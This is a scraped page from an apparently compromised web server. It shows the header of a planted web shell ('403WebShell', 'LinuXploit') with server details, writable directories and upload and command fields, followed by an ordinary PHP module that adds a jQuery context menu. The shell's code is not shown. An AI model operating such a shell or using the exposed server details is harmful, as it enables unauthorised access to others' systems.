Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/modules/contextMenu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/modules/contextMenu/main.php
<?php

namespace modules\contextMenu;

// https://swisnl.github.io/jQuery-contextMenu/demo/async-promise.html
class main extends \moduleMain {
	
	private $active = FALSE;

	public function __construct() {
		parent::__construct(__DIR__);
	}

	public function Activate() {
		hook_add('component.add', [$this, '__component']);
		hook_add('html.prepare', [$this, '__html_prepare']);
	}
	
	public function __component(&$status, $requested) {
		if ($requested == 'contextMenu') {
			$this->active = TRUE;
			$status = TRUE;
		}
	}
	
	public function __html_prepare($modulemain) {
		$base = $modulemain->StaticUriModule(__DIR__);
		
		$id = $modulemain->IncludeFile($base . '/jquery.contextMenu.min.css');
		$css = <<<BLOCK
BLOCK;
//		$id->AddCSS($css);
		
		$modulemain->IncludeFile($base . '/jquery.ui.position.min.js')
			->library('jquery-ui-position')
			->depends('jquery-ui');
		
		$id = $modulemain->IncludeFile($base . '/jquery.contextMenu.min.js');
//		$id = $modulemain->IncludeFile($base . '/jquery.contextMenu.js');
		$javascript = <<<'BLOCK'

function _getData($target) {
	var $k = $target.closest('li.jstree-node');
	var temp = $k.data('data');
	if (typeof temp != 'undefined') return temp;
	temp = $target[0];
	return temp.id;
}

var subItems;

function _attachContextMenu(selector) {
    $.contextMenu({
        selector: selector,
        trigger: 'none',
        reposition: false,
        build: function ($trigger, e) {
            return {
                callback: function (key, options) {
                    if (typeof subItems[key] != 'undefined')  {
                        if (subItems[key].href) {
                            // do our special ajax to perform the selected popup item
                            var className = subItems[key].className || '';
                            className = ' ' + className + ' ';
                            if (className.indexOf(' json ') > -1) {
                                main.loadURL(subItems[key].href);
                            } else if (className.indexOf(' ajax ') > -1) {
                                history.pushState(null, null, subItems[key].href);
                                main.loadURL(subItems[key].href);
                            } else {
                                window.location.href = subItems[key].href;
                            }
                        }
                    }
                },
                items: subItems,
            };
        }
    });
}

function loadContextMenus(parent) {
	var $context = $('.contextMenu', parent);
	if ($context.length) {
        _attachContextMenu('.contextMenu');
	}
}

$(document).on('loaded.template', function() {
	loadContextMenus($(document));
}).on('mouseup', '.contextMenu', function(e) {
	if (e.which != 3) return;
	var $context = $(this);
	var $target = $(e.target);
    if ($context.attr('src') !== undefined) {      // only when src attr present
        var param = $context.attr('src') + '?src=' + _getData($target);
        let id = this.id;
        _attachContextMenu('#' + id);

        $.getJSON( param, function( data ) {
            subItems = data;
            $context.contextMenu({x: e.pageX, y: e.pageY + 10});
        });
        e.preventDefault();
    }
}).on('contextmenu', function(e) {
	var $target = $(e.target);
	var x = $target.closest('.contextMenu');
	if (x.length) {
		return false;	// disable browser context
	}
}).on('loaded.datatables', function(event, table) {
	loadContextMenus($(table));
});

BLOCK;
/* subItems = {
				"edit": { name: "Edit", icon: "edit" },
				"cut": { name: "Cut", icon: "cut" },
				"status": {
					name: "Status",
					icon: "delete",
					items: {
						"sub1": { name: "Submenu1", icon: "edit" },
						"sub2": { name: "Submenu2", icon: "cut" },
					},
				},
				"normalSub": {
					name: "Normal Sub",
					items: {
						"normalsub1": { name: "normal Sub 1"},
						"normalsub2": { name: "normal Sub 2"},
						"normalsub3": { name: "normal Sub 3"},
					}
				}
			}
*/			
		$id->JavascriptCommand($javascript)->depends('jquery-ui-position');
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit